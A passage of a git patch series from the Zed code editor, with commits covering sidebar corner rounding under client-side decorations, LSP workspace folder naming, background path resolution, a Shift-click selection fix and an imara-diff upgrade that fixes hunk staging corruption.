-    Subscription, Task, Tiling, TitlebarOptions, UniformListScrollHandle, WeakEntity, Window,
-    WindowBounds, WindowHandle, WindowOptions, actions, div, list, point, prelude::*, px,
-    uniform_list,
+    Subscription, Task, TitlebarOptions, UniformListScrollHandle, WeakEntity, Window, WindowBounds,
+    WindowHandle, WindowOptions, actions, div, list, point, prelude::*, px, uniform_list,
 };
 
 use language::Buffer;
@@ -4556,7 +4555,6 @@ impl Render for SettingsWindow {
                 ),
             window,
             cx,
-            Tiling::default(),
         )
     }
 }
diff --git a/crates/sidebar/src/sidebar.rs b/crates/sidebar/src/sidebar.rs
index deb983a3f2bc12..b28ea7af1e7a90 100644
--- a/crates/sidebar/src/sidebar.rs
+++ b/crates/sidebar/src/sidebar.rs
@@ -28,9 +28,9 @@ use feature_flags::{
     AgentThreadWorktreeLabel, AgentThreadWorktreeLabelFlag, FeatureFlag, FeatureFlagAppExt as _,
 };
 use gpui::{
-    Action as _, AnyElement, App, ClickEvent, Context, DismissEvent, Entity, EntityId, FocusHandle,
-    Focusable, KeyContext, ListState, Modifiers, Pixels, Render, SharedString, Task, TaskExt,
-    WeakEntity, Window, WindowBackgroundAppearance, WindowHandle, linear_color_stop,
+    Action as _, AnyElement, App, ClickEvent, Context, Decorations, DismissEvent, Entity, EntityId,
+    FocusHandle, Focusable, KeyContext, ListState, Modifiers, Pixels, Render, SharedString, Task,
+    TaskExt, WeakEntity, Window, WindowBackgroundAppearance, WindowHandle, linear_color_stop,
     linear_gradient, list, prelude::*, px,
 };
 use itertools::Itertools;
@@ -52,7 +52,7 @@ use std::mem;
 use std::path::{Path, PathBuf};
 use std::rc::Rc;
 use std::sync::Arc;
-use theme::ActiveTheme;
+use theme::{ActiveTheme, CLIENT_SIDE_DECORATION_ROUNDING};
 use ui::{
     AgentThreadStatus, CommonAnimationExt, ContextMenu, ContextMenuEntry, Divider, GradientFade,
     HighlightedLabel, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
@@ -8076,8 +8076,48 @@ impl Render for Sidebar {
                 this.recent_projects_popover_handle.toggle(window, cx);
             }))
             .font(ui_font)
-            .h_full()
-            .w(self.width)
+            .map(|el| {
+                let on_left = self.side(cx) == SidebarSide::Left;
+                match window.window_decorations() {
+                    Decorations::Server => el.h_full().w(self.width),
+                    // With client-side decorations the sidebar owns the window
+                    // corners on its side, so round them like the title bar and
+                    // status bar do. The sidebar is stretched 1px outwards over
+                    // the window border on untiled edges (with compensating
+                    // padding) so its rounded background lines up exactly with
+                    // the window shape, avoiding a transparent gap in the
+                    // rounded corners.
+                    Decorations::Client { tiling, .. } => el
+                        .absolute()
+                        .top(if tiling.top { px(0.) } else { px(-1.) })
+                        .bottom(if tiling.bottom { px(0.) } else { px(-1.) })
+                        .when(!tiling.top, |el| el.pt_px())
+                        .when(!tiling.bottom, |el| el.pb_px())
+                        .map(|el| {
+                            if on_left {
+                                el.right(px(0.))
+                                    .left(if tiling.left { px(0.) } else { px(-1.) })
+                                    .when(!tiling.left, |el| el.pl(px(1.)))
+                            } else {
+                                el.left(px(0.))
+                                    .right(if tiling.right { px(0.) } else { px(-1.) })
+                                    .when(!tiling.right, |el| el.pr(px(1.)))
+                            }
+                        })
+                        .when(on_left && !(tiling.top || tiling.left), |el| {
+                            el.rounded_tl(CLIENT_SIDE_DECORATION_ROUNDING)
+                        })
+                        .when(on_left && !(tiling.bottom || tiling.left), |el| {
+                            el.rounded_bl(CLIENT_SIDE_DECORATION_ROUNDING)
+                        })
+                        .when(!on_left && !(tiling.top || tiling.right), |el| {
+                            el.rounded_tr(CLIENT_SIDE_DECORATION_ROUNDING)
+                        })
+                        .when(!on_left && !(tiling.bottom || tiling.right), |el| {
+                            el.rounded_br(CLIENT_SIDE_DECORATION_ROUNDING)
+                        }),
+                }
+            })
             .bg(bg)
             .when(self.side(cx) == SidebarSide::Left, |el| el.border_r_1())
             .when(self.side(cx) == SidebarSide::Right, |el| el.border_l_1())
diff --git a/crates/workspace/src/multi_workspace.rs b/crates/workspace/src/multi_workspace.rs
index 11461d38ee3793..49b19bd13455da 100644
--- a/crates/workspace/src/multi_workspace.rs
+++ b/crates/workspace/src/multi_workspace.rs
@@ -3,8 +3,8 @@ use fs::Fs;
 
 use gpui::{
     AnyView, App, Context, DragMoveEvent, Entity, EntityId, EventEmitter, FocusHandle, Focusable,
-    ManagedView, MouseButton, Pixels, Render, Subscription, Task, TaskExt, Tiling, WeakEntity,
-    Window, WindowId, actions, deferred, px,
+    ManagedView, MouseButton, Pixels, Render, Subscription, Task, TaskExt, WeakEntity, Window,
+    WindowId, actions, deferred, px,
 };
 pub use project::ProjectGroupKey;
 use project::{DisableAiSettings, Project};
@@ -2292,11 +2292,6 @@ impl Render for MultiWorkspace {
                 })),
             window,
             cx,
-            Tiling {
-                left: !sidebar_on_right && multi_workspace_enabled && self.sidebar_open(),
-                right: sidebar_on_right && multi_workspace_enabled && self.sidebar_open(),
-                ..Tiling::default()
-            },
         )
     }
 }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index e91019f6ca01e0..c26cde9bf84ff9 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -11103,19 +11103,10 @@ fn parse_pixel_size_env_var(value: &str) -> Option<Size<Pixels>> {
 
 /// Add client-side decorations (rounded corners, shadows, resize handling) when
 /// appropriate.
-///
-/// The `border_radius_tiling` parameter allows overriding which corners get
-/// rounded, independently of the actual window tiling state. This is used
-/// specifically for the workspace switcher sidebar: when the sidebar is open,
-/// we want square corners on the left (so the sidebar appears flush with the
-/// window edge) but we still need the shadow padding for proper visual
-/// appearance. Unlike actual window tiling, this only affects border radius -
-/// not padding or shadows.
 pub fn client_side_decorations(
     element: impl IntoElement,
     window: &mut Window,
     cx: &mut App,
-    border_radius_tiling: Tiling,
 ) -> Stateful<Div> {
     const BORDER_SIZE: Pixels = px(1.0);
     let decorations = window.window_decorations();
@@ -11123,12 +11114,6 @@ pub fn client_side_decorations(
         Decorations::Server => Tiling::default(),
         Decorations::Client { tiling } => tiling,
     };
-    let corner_tiling = Tiling {
-        top: tiling.top || border_radius_tiling.top,
-        bottom: tiling.bottom || border_radius_tiling.bottom,
-        left: tiling.left || border_radius_tiling.left,
-        right: tiling.right || border_radius_tiling.right,
-    };
 
     match decorations {
         Decorations::Client { .. } => window.set_client_inset(theme::CLIENT_SIDE_DECORATION_SHADOW),
@@ -11144,7 +11129,7 @@ pub fn client_side_decorations(
         .map(|div| match decorations {
             Decorations::Server => div,
             Decorations::Client { .. } => div
-                .rounded_client_corners(corner_tiling)
+                .rounded_client_corners(tiling)
                 .when(!tiling.top, |div| {
                     div.pt(theme::CLIENT_SIDE_DECORATION_SHADOW)
                 })
@@ -11199,7 +11184,7 @@ pub fn client_side_decorations(
                     Decorations::Server => div,
                     Decorations::Client { .. } => div
                         .border_color(cx.theme().colors().border)
-                        .rounded_client_corners(corner_tiling)
+                        .rounded_client_corners(tiling)
                         .when(!tiling.top, |div| div.border_t(BORDER_SIZE))
                         .when(!tiling.bottom, |div| div.border_b(BORDER_SIZE))
                         .when(!tiling.left, |div| div.border_l(BORDER_SIZE))

From c9e8e611dbc279afa0914d28c4d37ad07f38c03b Mon Sep 17 00:00:00 2001
From: Kevin Bravo <79945749+0bkevin@users.noreply.github.com>
Date: Sat, 18 Jul 2026 04:04:17 -0400
Subject: [PATCH 529/772] lsp: Set workspace folder names (#60938)

# Objective

Fixes #60518.

Zed sends an empty `name` for entries in
`initialize.params.workspaceFolders`. Language servers such as
basedpyright use this field to identify workspace service instances,
resulting in an unnamed instance.

## Solution

Derive each workspace folder name from its URI, preferring the decoded
filesystem basename. For basename-less URIs, fall back to a non-empty
path, URI path segment, or the full URI.

Use the same construction for initialization parameters, dynamic
workspace-folder notifications, and `workspace/workspaceFolders`
responses so all LSP messages remain consistent.

## Testing

- `cargo fmt --all -- --check`
- `cargo test -p lsp`
- `cargo check -p project --all-targets --all-features`
- `./script/clippy -p lsp`
- `./script/clippy -p project`

Reproduced with basedpyright 1.39.9 over an LSP stdio session. Before
this change it logged:

```text
Starting service instance ""
```

With a derived workspace folder name it logged:

```text
Starting service instance "zed-60518-project"
```

Tested on macOS.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed language servers receiving empty workspace folder names.
---
 crates/lsp/src/lsp.rs           | 67 ++++++++++++++++++++-------------
 crates/project/src/lsp_store.rs |  7 +---
 2 files changed, 42 insertions(+), 32 deletions(-)

diff --git a/crates/lsp/src/lsp.rs b/crates/lsp/src/lsp.rs
index 361c5665d2703a..31554edd345052 100644
--- a/crates/lsp/src/lsp.rs
+++ b/crates/lsp/src/lsp.rs
@@ -57,6 +57,25 @@ pub const DEFAULT_LSP_REQUEST_TIMEOUT: Duration =
 /// The shutdown timeout for LSP servers (including Prettier/Copilot).
 const SERVER_SHUTDOWN_TIMEOUT: Duration = Duration::from_secs(5);
 
+pub fn workspace_folder_for_uri(uri: Uri) -> WorkspaceFolder {
+    let name = uri
+        .to_file_path()
+        .ok()
+        .map(|path| {
+            let name = path.file_name().unwrap_or(path.as_os_str());
+            name.to_string_lossy().into_owned()
+        })
+        .filter(|name| !name.is_empty())
+        .or_else(|| {
+            uri.path_segments()
+                .and_then(|mut segments| segments.rfind(|segment| !segment.is_empty()))
+                .map(str::to_owned)
+        })
+        .unwrap_or_else(|| uri.as_str().to_owned());
+
+    WorkspaceFolder { uri, name }
+}
+
 type NotificationHandler = Box<dyn Send + FnMut(Option<RequestId>, Value, &mut AsyncApp)>;
 type PendingRespondTasks = Arc<Mutex<HashMap<RequestId, Task<()>>>>;
 type ResponseHandler = Box<dyn Send + FnOnce(Result<String, Error>) -> Task<()>>;
@@ -747,21 +766,13 @@ impl LanguageServer {
         cx: &App,
     ) -> InitializeParams {
         let workspace_folders = self.workspace_folders.as_ref().map_or_else(
-            || {
-                vec![WorkspaceFolder {
-                    name: Default::default(),
-                    uri: self.root_uri.clone(),
-                }]
-            },
+            || vec![workspace_folder_for_uri(self.root_uri.clone())],
             |folders| {
                 folders
                     .lock()
                     .iter()
                     .cloned()
-                    .map(|uri| WorkspaceFolder {
-                        name: Default::default(),
-                        uri,
-                    })
+                    .map(workspace_folder_for_uri)
                     .collect()
             },
         );
@@ -1625,10 +1636,7 @@ impl LanguageServer {
         if is_new_folder {
             let params = DidChangeWorkspaceFoldersParams {
                 event: WorkspaceFoldersChangeEvent {
-                    added: vec![WorkspaceFolder {
-                        uri,
-                        name: String::default(),
-                    }],
+                    added: vec![workspace_folder_for_uri(uri)],
                     removed: vec![],
                 },
             };
@@ -1660,10 +1668,7 @@ impl LanguageServer {
             let params = DidChangeWorkspaceFoldersParams {
                 event: WorkspaceFoldersChangeEvent {
                     added: vec![],
-                    removed: vec![WorkspaceFolder {
-                        uri,
-                        name: String::default(),
-                    }],
+                    removed: vec![workspace_folder_for_uri(uri)],
                 },
             };
             self.notify::<DidChangeWorkspaceFolders>(params).ok();
@@ -1678,18 +1683,14 @@ impl LanguageServer {
         let old_workspace_folders = std::mem::take(&mut *workspace_folders);
         let added: Vec<_> = folders
             .difference(&old_workspace_folders)
-            .map(|uri| WorkspaceFolder {
-                uri: uri.clone(),
-                name: String::default(),
-            })
+            .cloned()
+            .map(workspace_folder_for_uri)
             .collect();
 
         let removed: Vec<_> = old_workspace_folders
             .difference(&folders)
-            .map(|uri| WorkspaceFolder {
-                uri: uri.clone(),
-                name: String::default(),
-            })
+            .cloned()
+            .map(workspace_folder_for_uri)
             .collect();
         *workspace_folders = folders;
         let should_notify = !added.is_empty() || !removed.is_empty();
@@ -2291,7 +2292,7 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_initialize_params_has_root_path_and_root_uri(cx: &mut TestAppContext) {
+    async fn test_default_initialize_params(cx: &mut TestAppContext) {
         cx.update(|cx| {
             release_channel::init(semver::Version::new(0, 0, 0), cx);
         });
@@ -2306,6 +2307,9 @@ mod tests {
             Default::default(),
             &mut cx.to_async(),
         );
+        let project_uri = Uri::from_file_path(std::env::temp_dir().join("my project"))
+            .expect("workspace folder URI should be valid");
+        server.set_workspace_folders(BTreeSet::from_iter([project_uri.clone()]));
 
         let params = cx.update(|cx| server.default_initialize_params(false, false, cx));
 
@@ -2322,5 +2326,14 @@ mod tests {
             expected_path.to_string_lossy(),
             "root_path should be derived from root_uri"
         );
+        let workspace_folders = params
+            .workspace_folders
+            .expect("workspace folders should be set");
+
+        let expected_workspace_folders = vec![WorkspaceFolder {
+            uri: project_uri,
+            name: "my project".to_string(),
+        }];
+        assert_eq!(workspace_folders, expected_workspace_folders);
     }
 }
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index c1e5ca31f53d7a..fee9666ec78470 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -99,7 +99,7 @@ use lsp::{
     LanguageServerBinary, LanguageServerBinaryOptions, LanguageServerId, LanguageServerName,
     LanguageServerSelector, LspRequestFuture, MessageActionItem, MessageType, OneOf,
     RenameFilesParams, TextDocumentSyncSaveOptions, TextEdit, Uri, WillRenameFiles,
-    WorkDoneProgressCancelParams, WorkspaceFolder, notification::DidRenameFiles,
+    WorkDoneProgressCancelParams, notification::DidRenameFiles,
 };
 use node_runtime::read_package_installed_version;
 use parking_lot::Mutex;
@@ -984,10 +984,7 @@ impl LocalLspStore {
                         let root = server.workspace_folders();
                         Ok(Some(
                             root.into_iter()
-                                .map(|uri| WorkspaceFolder {
-                                    uri,
-                                    name: Default::default(),
-                                })
+                                .map(lsp::workspace_folder_for_uri)
                                 .collect(),
                         ))
                     }

From ab234b1946253ed812dcd0cbe98f8b30434e485a Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Sat, 18 Jul 2026 16:45:31 +0200
Subject: [PATCH 530/772] workspace: Run `possible_open_target` logic on the
 background (#61257)

This is a lot of computation work which otherwise hangs the ui thread

Closes FR-122

Release Notes:

- Fixed a cause for ui hangs when interacting with the agent panel
---
 crates/workspace/src/path_link.rs | 72 +++++++++++++++++++------------
 1 file changed, 44 insertions(+), 28 deletions(-)

diff --git a/crates/workspace/src/path_link.rs b/crates/workspace/src/path_link.rs
index 6cbcfccb14eb2e..42efbc0779ef47 100644
--- a/crates/workspace/src/path_link.rs
+++ b/crates/workspace/src/path_link.rs
@@ -380,39 +380,55 @@ fn possible_open_target_internal(
     };
 
     cx.spawn(async move |cx| {
-        background_resolution_task.await.or_else(|| {
-            for (worktree, worktree_paths_to_check) in worktree_paths_to_check {
-                if let Some(found_entry) =
-                    worktree.update(cx, |worktree, _| -> Option<OpenTarget> {
-                        let traversal =
-                            worktree.traverse_from_path(true, true, false, RelPath::empty());
-                        for entry in traversal {
-                            if let Some(path_in_worktree) =
-                                worktree_paths_to_check.iter().find(|path_to_check| {
-                                    RelPath::new(&path_to_check.path, PathStyle::local())
-                                        .is_ok_and(|path| entry.path.ends_with(&path))
-                                })
-                            {
-                                return Some(OpenTarget::Worktree(
-                                    PathWithPosition {
-                                        path: worktree.absolutize(&entry.path),
-                                        row: path_in_worktree.row,
-                                        column: path_in_worktree.column,
-                                    },
-                                    entry.clone(),
-                                    #[cfg(any(test, feature = "test-support"))]
-                                    OpenTargetFoundBy::WorktreeScan,
-                                ));
-                            }
-                        }
-                        None
+        if let Some(open_target) = background_resolution_task.await {
+            return Some(open_target);
+        }
+
+        let worktree_paths_to_check = worktree_paths_to_check
+            .into_iter()
+            .map(|(worktree, paths_to_check)| {
+                let paths_to_check = paths_to_check
+                    .into_iter()
+                    .filter_map(|path_with_position| {
+                        let path = RelPath::new(&path_with_position.path, PathStyle::local())
+                            .ok()?
+                            .into_owned();
+                        Some((path_with_position, path))
                     })
-                {
-                    return Some(found_entry);
+                    .collect::<Vec<_>>();
+                (
+                    worktree.read_with(cx, |worktree, _| worktree.snapshot()),
+                    paths_to_check,
+                )
+            })
+            .collect::<Vec<_>>();
+        cx.background_spawn(async move {
+            for (snapshot, paths_to_check) in worktree_paths_to_check {
+                let traversal = snapshot.traverse_from_path(true, true, false, RelPath::empty());
+                for entry in traversal {
+                    if let Some(path_with_position) =
+                        paths_to_check
+                            .iter()
+                            .find_map(|(path_with_position, path)| {
+                                entry.path.ends_with(path).then_some(path_with_position)
+                            })
+                    {
+                        return Some(OpenTarget::Worktree(
+                            PathWithPosition {
+                                path: snapshot.absolutize(&entry.path),
+                                row: path_with_position.row,
+                                column: path_with_position.column,
+                            },
+                            entry.clone(),
+                            #[cfg(any(test, feature = "test-support"))]
+                            OpenTargetFoundBy::WorktreeScan,
+                        ));
+                    }
                 }
             }
             None
         })
+        .await
     })
 }
 

From 2118a7c53a843b791adff6c21b0a4ca0de8478b9 Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Sat, 18 Jul 2026 16:51:21 +0100
Subject: [PATCH 531/772] editor: Fix Shift-click selection after cursor
 movement (#61045)

## Context

Shift-click sometimes extended a selection from an earlier word boundary
after double-clicking a word and moving the cursor with the arrow keys.
Cursor movement changed the selection but left the word or line
selection mode active, so the next Shift-click reused stale selection
bounds. Selection movement now resets the mode to character mode
whenever it changes the selection, while preserving valid empty line
selections that have not been moved.

Closes #59913.

Behavior before the fix :

[Screencast from 2026-07-15
13-21-51.webm](https://github.com/user-attachments/assets/c126adfe-f9db-4a04-91c2-6db6e8070182)

Behavior after the fix :

[Screencast from 2026-07-15
13-19-38.webm](https://github.com/user-attachments/assets/19c9f5b6-aaf8-4e8b-b4c5-70327411d1b9)


## How to Review

**`crates/editor/src/selections_collection.rs`**:
`MutableSelectionsCollection::move_with` now resets the selection mode
to character mode when movement changes a selection.

**`crates/editor/src/editor_tests.rs`**: Regression tests cover
Shift-click after collapsing a word selection and confirm that a valid
empty line selection retains line-wise extension behavior.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed Shift-click sometimes extending selections from a previous word
or line boundary.
---
 crates/editor/src/editor_tests.rs          | 101 +++++++++++++++++++++
 crates/editor/src/selection.rs             |  16 +++-
 crates/editor/src/selections_collection.rs |   1 +
 3 files changed, 113 insertions(+), 5 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 516797a740ddda..8f5cda4b65db8f 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -856,6 +856,107 @@ fn test_extending_selection(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+fn test_extend_selection_after_collapsed_word_selection(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let editor = cx.add_window(|window, cx| {
+        let buffer = MultiBuffer::build_simple("aaa bbb ccc ddd eee", cx);
+        build_editor(buffer, window, cx)
+    });
+
+    _ = editor.update(cx, |editor, window, cx| {
+        // Double-click "bbb" to select it word-wise.
+        editor.begin_selection(DisplayPoint::new(DisplayRow(0), 5), false, 2, window, cx);
+        editor.end_selection(window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 4)..DisplayPoint::new(DisplayRow(0), 7)]
+        );
+
+        // Move the cursor with the keyboard, collapsing the selection.
+        editor.move_right(&MoveRight, window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 7)..DisplayPoint::new(DisplayRow(0), 7)]
+        );
+
+        // Shift+click further along the line should extend from the cursor,
+        // not from the stale double-clicked word.
+        editor.extend_selection(DisplayPoint::new(DisplayRow(0), 10), 1, window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 7)..DisplayPoint::new(DisplayRow(0), 10)]
+        );
+    });
+}
+
+#[gpui::test]
+fn test_extend_selection_after_collapsed_word_selection_moved_via_offsets(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let editor = cx.add_window(|window, cx| {
+        let buffer = MultiBuffer::build_simple("aaa bbb ccc ddd eee", cx);
+        build_editor(buffer, window, cx)
+    });
+
+    _ = editor.update(cx, |editor, window, cx| {
+        // Double-click "bbb" to select it word-wise.
+        editor.begin_selection(DisplayPoint::new(DisplayRow(0), 5), false, 2, window, cx);
+        editor.end_selection(window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 4)..DisplayPoint::new(DisplayRow(0), 7)]
+        );
+
+        // Collapse the selection through `move_offsets_with`, the code path
+        // used by non-keyboard-movement callers like
+        // `move_to_enclosing_bracket` and `select_delimiters_impl`.
+        editor.change_selections(SelectionEffects::default(), window, cx, |s| {
+            s.move_offsets_with(&mut |_, selection| {
+                selection.collapse_to(MultiBufferOffset(7), SelectionGoal::None);
+            });
+        });
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 7)..DisplayPoint::new(DisplayRow(0), 7)]
+        );
+
+        // Shift+click further along the line should extend from the cursor,
+        // not from the stale double-clicked word.
+        editor.extend_selection(DisplayPoint::new(DisplayRow(0), 10), 1, window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(0), 7)..DisplayPoint::new(DisplayRow(0), 10)]
+        );
+    });
+}
+
+#[gpui::test]
+fn test_extend_selection_from_empty_line_selection(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let editor = cx.add_window(|window, cx| {
+        let buffer = MultiBuffer::build_simple("aaa\nbbb\n", cx);
+        build_editor(buffer, window, cx)
+    });
+
+    _ = editor.update(cx, |editor, window, cx| {
+        editor.begin_selection(DisplayPoint::new(DisplayRow(2), 0), false, 3, window, cx);
+        editor.end_selection(window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(2), 0)..DisplayPoint::new(DisplayRow(2), 0)]
+        );
+
+        editor.extend_selection(DisplayPoint::new(DisplayRow(0), 1), 1, window, cx);
+        assert_eq!(
+            display_ranges(editor, cx),
+            [DisplayPoint::new(DisplayRow(2), 0)..DisplayPoint::new(DisplayRow(0), 0)]
+        );
+    });
+}
+
 #[gpui::test]
 fn test_clone(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/selection.rs b/crates/editor/src/selection.rs
index 1d5ba4b5261346..afb261305ec982 100644
--- a/crates/editor/src/selection.rs
+++ b/crates/editor/src/selection.rs
@@ -1442,14 +1442,20 @@ impl Editor {
             let selections = self
                 .selections
                 .all::<MultiBufferOffset>(&self.display_snapshot(cx));
+            // `select` below resets the selections' granularity to `Character`, since it's the
+            // funnel every wholesale selection replacement goes through. When extending, the
+            // granularity established by the selection gesture that started the extension must
+            // survive that reset instead of being overwritten by `pending_mode`.
+            let select_mode = if self.selections.is_extending() {
+                self.selections.select_mode().clone()
+            } else {
+                pending_mode
+            };
             self.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
                 s.select(selections);
                 s.clear_pending();
-                if s.is_extending() {
-                    s.set_is_extending(false);
-                } else {
-                    s.set_select_mode(pending_mode);
-                }
+                s.set_is_extending(false);
+                s.set_select_mode(select_mode);
             });
         }
     }
diff --git a/crates/editor/src/selections_collection.rs b/crates/editor/src/selections_collection.rs
index 33ffdfca815368..53303db81fcf52 100644
--- a/crates/editor/src/selections_collection.rs
+++ b/crates/editor/src/selections_collection.rs
@@ -843,6 +843,7 @@ impl<'snap, 'a> MutableSelectionsCollection<'snap, 'a> {
                 .map(|selection| selection_to_anchor_selection(selection, self.snapshot)),
         );
         self.collection.pending = None;
+        self.collection.select_mode = SelectMode::Character;
         self.selections_changed = true;
     }
 

From eb962794a33cbd414c6a343a8bb1136c94fe6901 Mon Sep 17 00:00:00 2001
From: Jake Abendroth <jakeabendroth1@gmail.com>
Date: Sat, 18 Jul 2026 11:48:49 -0700
Subject: [PATCH 532/772] buffer_diff: Canonicalize ambiguous hunk placement to
 fix staging corruption (#60584)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #60424

## Problem

With the repro from #60424, staging the first deletion hunk marked the
second deletion as staged in the UI even though git still had it
unstaged, and clicking the (incorrectly shown) Unstage button inserted a
duplicate copy of the hunk's contents into the git index on every click.

The root cause is ambiguous hunk placement. The committed text contains
repeated `end\n\n` line runs, so the deletion hunks can "slide": more
than one placement produces a minimal diff. The uncommitted diff (HEAD
vs worktree) anchored the remaining deletion at one row while the
unstaged diff (index vs worktree), recomputed after the partial stage,
anchored the same logical deletion at a different row. Everything that
correlates hunks across those two diffs assumes they agree on positions:

- the secondary-status matching in `hunks_intersecting_range_impl` found
no unstaged hunk at the uncommitted hunk's rows and reported it as
staged (`NoSecondaryHunk`);
- the worktree→index projection in `compute_uncommitted_index_edits`
treated the hunk's position as unchanged text and, on unstage, inserted
the hunk's HEAD content at an index position that already contained it,
duplicating it on every request.

## Fix

Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run
`Diff::postprocess_lines` (imara-diff's port of git's xdiff
slider/indent heuristic) after computing hunks in `buffer_diff`. This
canonicalizes the placement of ambiguous hunks based only on their local
content, so diffs of the same buffer against different base texts anchor
the same logical change at the same rows. A bonus is that Zed's hunk
placement now matches `git diff`'s output for such cases (git has used
the indent heuristic by default since 2.11).

As defense in depth, `compute_uncommitted_index_edits` now drops a
pure-insertion index edit whose content is already present at the target
position, so a stale secondary status can no longer duplicate index
content.

The imara-diff 0.2 API removed the `Sink` trait and the top-level
`diff()` function, so the other call sites (`language/text_diff.rs`,
`zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are
migrated mechanically to `Diff::compute` + `hunks()` with unchanged
behavior (0.2 also renamed `lines_with_terminator` to `lines` and
changed the default `&str` tokenization to include terminators; the
unified-diff builders keep terminator-less tokens via `str::lines()`).

## Testing

- New regression test `test_staging_hunks_with_ambiguous_placement`
replays the exact repro from #60424 (same file contents): stages the
first deletion, asserts the remaining hunks keep their unstaged status
and the index matches exactly, then issues repeated unstage requests for
the unstaged hunk and asserts the index is unchanged. Before the fix
this test showed the second hunk flipping to staged and the index
growing by one copy of the deleted block per unstage request.
- `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`,
`multi_buffer`, `git_ui`, `editor`, and the `project` integration suite
pass.
- One test expectation updated: `editor::test_fold_function_bodies`
asserted the old placement of an ambiguous deletion (blank line before
comment); the canonicalized placement (comment before blank line)
matches what `git diff` produces for the same texts.

Release Notes:

- Fixed staging a hunk sometimes marking a different hunk as staged (and
subsequent unstaging corrupting the git index) when the diff contained
repeated lines
([#60424](https://github.com/zed-industries/zed/issues/60424)).

---------

Co-authored-by: Cole Miller <cole@zed.dev>
---
 Cargo.lock                                    |   5 +-
 Cargo.toml                                    |   2 +-
 crates/buffer_diff/src/buffer_diff.rs         |  31 +--
 .../edit_prediction_metrics/src/reversal.rs   |  68 +++---
 crates/editor/src/editor_tests.rs             |   4 +-
 crates/language/src/text_diff.rs              |  96 ++++-----
 .../tests/integration/project_tests.rs        | 198 ++++++++++++++++++
 crates/zeta_prompt/src/udiff.rs               |  28 +--
 8 files changed, 310 insertions(+), 122 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index d50177c148a1b5..b7fea112e1a62d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9013,11 +9013,12 @@ checksum = "09e54e57b4c48b40f7aec75635392b12b3421fa26fe8b4332e63138ed278459c"
 
 [[package]]
 name = "imara-diff"
-version = "0.1.8"
+version = "0.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17d34b7d42178945f775e84bc4c36dde7c1c6cdfea656d3354d009056f2bb3d2"
+checksum = "2f01d462f766df78ab820dd06f5eb700233c51f0f4c2e846520eaf4ba6aa5c5c"
 dependencies = [
  "hashbrown 0.15.5",
+ "memchr",
 ]
 
 [[package]]
diff --git a/Cargo.toml b/Cargo.toml
index e7d5de4f023379..9d0b9da1826ef6 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -644,7 +644,7 @@ image = { version = "0.25.1", default-features = false, features = [
     "tiff",
     "webp",
 ] }
-imara-diff = "0.1.8"
+imara-diff = "0.2.0"
 indexmap = { version = "2.7.0", features = ["serde"] }
 indoc = "2"
 inventory = "0.3.19"
diff --git a/crates/buffer_diff/src/buffer_diff.rs b/crates/buffer_diff/src/buffer_diff.rs
index 5cba96c5a92631..dad94c4b01c1ea 100644
--- a/crates/buffer_diff/src/buffer_diff.rs
+++ b/crates/buffer_diff/src/buffer_diff.rs
@@ -1,5 +1,5 @@
 use gpui::{App, AppContext as _, Context, Entity, EventEmitter, Task};
-use imara_diff::{Algorithm, Sink, intern::InternedInput, sources::lines_with_terminator};
+use imara_diff::{Algorithm, Diff, InternedInput, sources::lines};
 use language::{
     Capability, DiffOptions, Language, LanguageName, LanguageRegistry,
     language_settings::LanguageSettings, word_diff_ranges,
@@ -1192,13 +1192,20 @@ fn compute_hunks(
             return tree;
         }
 
-        let input = InternedInput::new(
-            lines_with_terminator(diff_base.as_ref()),
-            lines_with_terminator(buffer_text.as_str()),
-        );
